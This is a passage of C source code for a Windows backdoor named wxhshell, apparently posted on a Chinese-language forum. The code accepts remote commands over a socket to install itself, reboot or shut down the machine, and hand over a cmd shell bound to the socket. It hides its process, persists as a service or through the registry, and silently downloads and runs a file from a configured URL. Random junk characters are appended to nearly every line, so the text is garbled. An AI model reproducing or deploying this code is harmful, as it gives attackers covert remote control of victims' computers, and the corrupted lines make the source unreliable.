    switch(cmd[0]) { p^QZGu-.W  
  BBuI|lr  
  // 帮助 /}A"F[5  
  case '?': { n]:Xmi8p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qg1s]c~0u  
    break; /iURP-rl  
  } kT)[<`p  
  // 安装 _#32hAI  
  case 'i': { p_%dH  
    if(Install()) -E{D' X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1oU/gm$7\q  
    else PJ}d-   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /2 z, ?,jL  
    break; q_iPWmf p*  
    } X)7_@,7  
  // 卸载 vDI$ QUMD6  
  case 'r': { &?X0;,5)  
    if(Uninstall()) BwOIdz%]OY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `|kW%L4  
    else ?-M?{De   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .5$"qb ?  
    break; J]G] <)  
    } TL u+5f  
  // 显示 wxhshell 所在路径 0C!f/EZK  
  case 'p': {  wO<.wPa`  
    char svExeFile[MAX_PATH]; $fifx>!  
    strcpy(svExeFile,"\n\r"); 7p1f*N[X  
      strcat(svExeFile,ExeFile); kIl!n  
        send(wsh,svExeFile,strlen(svExeFile),0); Gbj^oo  
    break; vYl2_\,Y?  
    } by}C;eN  
  // 重启 ~]f6@n  
  case 'b': { Q$,AQyBlqc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NJ]AxFG  
    if(Boot(REBOOT)) X5U#^^O$E%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 709/'#- ^  
    else { IQZ/8UwB  
    closesocket(wsh); o6bT.{8\  
    ExitThread(0); }jE [vVlRw  
    } OHRkhwF.  
    break; H@, h$$  
    } }ejZk bP  
  // 关机 Ymvd3>_  
  case 'd': { oRkh>yj'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _:+hB9n s  
    if(Boot(SHUTDOWN)) m3T=x =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KBC?SxJSJc  
    else { trx y3k;  
    closesocket(wsh); ?Vre" 6U  
    ExitThread(0); [D%(Y ~2  
    } ^(F@#zN}  
    break; 76oJCNY  
    } d#8 n<NM  
  // 获取shell -v %n@8p  
  case 's': { j+"w2  
    CmdShell(wsh); S:(YZ%#  
    closesocket(wsh); "ov270:  
    ExitThread(0); iW%~>`tT  
    break; i(qZ#oN  
  } NH aY&\  
  // 退出 G)8v~=Bv  
  case 'x': { T W#s)iDi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <uG6!P  
    CloseIt(wsh); 5Z@0XI  
    break; qdnwaJ;&  
    } {gz-w|7  
  // 离开 2A=q{7s  
  case 'q': { ]?G|:Kx$y%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xmNs%  
    closesocket(wsh); V O\g"Yc  
    WSACleanup(); c_4K  
    exit(1); rnyXMt.q  
    break; ;rRV=$y  
        } 38mC+%iC  
  } b#nI#!p'  
  } xyD2<?dGUb  
$c {fPFe-  
  // 提示信息 ~&< Ls  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g@2KnzD  
} $GR rTC!  
  } 9?iA~r|+  
(kTu6t*  
  return; 0%<OwA2d  
} 6H1;Hl f  
F|jl=i  
// shell模块句柄 l*.u rG  
int CmdShell(SOCKET sock) KCIya[$*  
{ Y&<]:)  
STARTUPINFO si; \RqH"HqD  
ZeroMemory(&si,sizeof(si)); W3zYE3DZf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mBeP" GS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t"s$YB>}  
PROCESS_INFORMATION ProcessInfo; 9:E:3%%  
char cmdline[]="cmd"; xtBu]I)%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I&U.5wf  
  return 0; @<.ei)cqb  
} L} "bp  
u69UUkG  
// 自身启动模式 {/j gB"9  
int StartFromService(void) #;[0:jU0  
{ h/Yxm2  
typedef struct kRjNz~g  
{ uBK0+FLL@  
  DWORD ExitStatus; ",xTgB3?V  
  DWORD PebBaseAddress; f(G1xw]]@Y  
  DWORD AffinityMask; c@2a)S8Y]  
  DWORD BasePriority; G@KDRv  
  ULONG UniqueProcessId; 7B<,nKd  
  ULONG InheritedFromUniqueProcessId; : *XAQb0  
}   PROCESS_BASIC_INFORMATION; RFLfvD<  
IH&0>a  
PROCNTQSIP NtQueryInformationProcess; -=cm7/X  
<+-=j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n2 can  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q9wObOS$  
*c\XQy  
  HANDLE             hProcess; ?fN6_x2e3  
  PROCESS_BASIC_INFORMATION pbi; 's.e"F#  
Y&1N*@YP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3G[|4v?[<_  
  if(NULL == hInst ) return 0; "=w:LRw  
'4Jf[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #M||t|9iu?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J'ZC5Xr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #UE}JR3g  
>$tU @mq  
  if (!NtQueryInformationProcess) return 0; H C=ZcK'W  
02tt.0go  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wco2i m  
  if(!hProcess) return 0; *MS$C$HOq  
Q}G2f4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sv!zY= 6  
n5%\FFG0M  
  CloseHandle(hProcess); $KQ q~|  
YKz#,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v6|j.;  
if(hProcess==NULL) return 0; )Q62I\  
BT&R:_:  
HMODULE hMod; gxhdxSm=2  
char procName[255]; +HPcv u?1  
unsigned long cbNeeded; R`Fgne$4  
Ph%{h"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SXP(C^?C  
3"zPG~fY{  
  CloseHandle(hProcess); a{ L&RRJ  
&XV9_{Hm  
if(strstr(procName,"services")) return 1; // 以服务启动 I-}ms  
U3C"o|   
  return 0; // 注册表启动 QJj='+R>  
} G pI4QzR  
UWnF2,<s;  
// 主模块 o">~ObR  
int StartWxhshell(LPSTR lpCmdLine) L}CU"  
{ 8{=|<  
  SOCKET wsl; O PzudO  
BOOL val=TRUE; 4D2U,Ds  
  int port=0; bf@g*~h@  
  struct sockaddr_in door; 78{9@\e"0  
4BUG\~eI3  
  if(wscfg.ws_autoins) Install(); ?Wz2J3A.2t  
v$0|\)E)  
port=atoi(lpCmdLine); "{r8'qn  
4b[bj").A  
if(port<=0) port=wscfg.ws_port; O Bcz'f~  
NTD1QJ  
  WSADATA data; zBl L98  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q01 L{~>bz  
;py9,Wno  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @!=Ds'MJC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E a&NJ]& g  
  door.sin_family = AF_INET; {f\wIZ-K A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L {P'mG=4  
  door.sin_port = htons(port); aPzn4}~/_  
YHO}z}f[!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zj!,3{jX^  
closesocket(wsl); p @kRo#~l  
return 1; >t.Lc.  
} {?`7D:]`^  
o5p{ O>D[z  
  if(listen(wsl,2) == INVALID_SOCKET) { E& .^|<n  
closesocket(wsl); -Uy)=]Zae  
return 1; R;!@ xy  
} \H bZ~I-  
  Wxhshell(wsl); U+qyS|i  
  WSACleanup(); bS;_xDXd  
McN[  
return 0; r}&&e BY f  
=]]1x_GB  
} *d jLf.I@  
 :`N ZD  
// 以NT服务方式启动 XrM+DQ;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4P[MkMoC  
{ kBhjqI*  
DWORD   status = 0; Ij7P-5=<  
  DWORD   specificError = 0xfffffff; +HBizJ9K  
L~- /'+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pDZewb&cA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m_*wqNFA6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z`IW[N7Z  
  serviceStatus.dwWin32ExitCode     = 0; uDie205  
  serviceStatus.dwServiceSpecificExitCode = 0; /M%>M]  
  serviceStatus.dwCheckPoint       = 0; ,IyQmN y  
  serviceStatus.dwWaitHint       = 0; ( ne[a2%>  
{iX#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ". tW5O>  
  if (hServiceStatusHandle==0) return; |dLr #+'az  
wYf\!]}'  
status = GetLastError(); ;O% H]oN  
  if (status!=NO_ERROR) \KnRQtlI  
{ TdgK.g 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *0xL(  
    serviceStatus.dwCheckPoint       = 0; %h@1lsm1+  
    serviceStatus.dwWaitHint       = 0; F| eWHw?t  
    serviceStatus.dwWin32ExitCode     = status; 'KA$^  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4?1Qe\A^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?VNtT/  
    return; f~T7?D0u}N  
  } V.&F%(L  
e?.j8 Q ~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X#ttDB  
  serviceStatus.dwCheckPoint       = 0; 3T8d?%.l  
  serviceStatus.dwWaitHint       = 0; f-enF)z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 84QOW|1  
} a$|U4Eqo  
EW*sTI3  
// 处理NT服务事件,比如:启动、停止 v1 8<~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %jzTQ+.%]^  
{ VIz(@  
switch(fdwControl) A:< %>  
{ kScZ P8yw  
case SERVICE_CONTROL_STOP: KE3`5Y!  
  serviceStatus.dwWin32ExitCode = 0; /IWA U)A0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u-t=M]  
  serviceStatus.dwCheckPoint   = 0; -}%J3j|R:  
  serviceStatus.dwWaitHint     = 0; J)YlG*  
  { FL' }~il  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jz` jN~  
  } Q4m> 3I  
  return; BQ0?B*yqd  
case SERVICE_CONTROL_PAUSE: &^"Ru?MK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; = g{I`u  
  break; `f;w  
case SERVICE_CONTROL_CONTINUE: $_"u2"p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t`z"=S  
  break; j**[[  
case SERVICE_CONTROL_INTERROGATE: vHf)gi}O|  
  break; 6^gp /{  
}; #"4ioTL2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -5b|nQuY  
} =@Oo3*>  
D6Ad "|Z  
// 标准应用程序主函数 )k=KLQ\b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) btuG%D{a^  
{ Bib<ySCre  
mcV<)UA}  
// 获取操作系统版本 m`-);y  
OsIsNt=GetOsVer(); eL SzGbKf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ma|4nLC}  
t,7%| {  
  // 从命令行安装 w w^\_KGu7  
  if(strpbrk(lpCmdLine,"iI")) Install(); hN2A%ds*(j  
X(ph$,[  
  // 下载执行文件 5)RZJrN]  
if(wscfg.ws_downexe) { !d N[9}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mLuNl^)3  
  WinExec(wscfg.ws_filenam,SW_HIDE); =sYILe[  
} U*[E+Uq}:N  
0(7 IsG=t  
if(!OsIsNt) { >}V?GK36  
// 如果时win9x,隐藏进程并且设置为注册表启动 tVRN3fJH  
HideProc(); op}!1y$9P  
StartWxhshell(lpCmdLine); *DPX4 P  
} a&_ h(  
else G\gjCp?!  
  if(StartFromService()) TN0KS]^A3  
  // 以服务方式启动 rM7qBt  
  StartServiceCtrlDispatcher(DispatchTable); C#U(POA  
else qi4P(s-i  
  // 普通方式启动 vUpAW[[  
  StartWxhshell(lpCmdLine); g0grfGo2p  
m;dwt1'Zw  
return 0; >R F|Q  
}
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只看该作者 1 发表于: 2006-10-10
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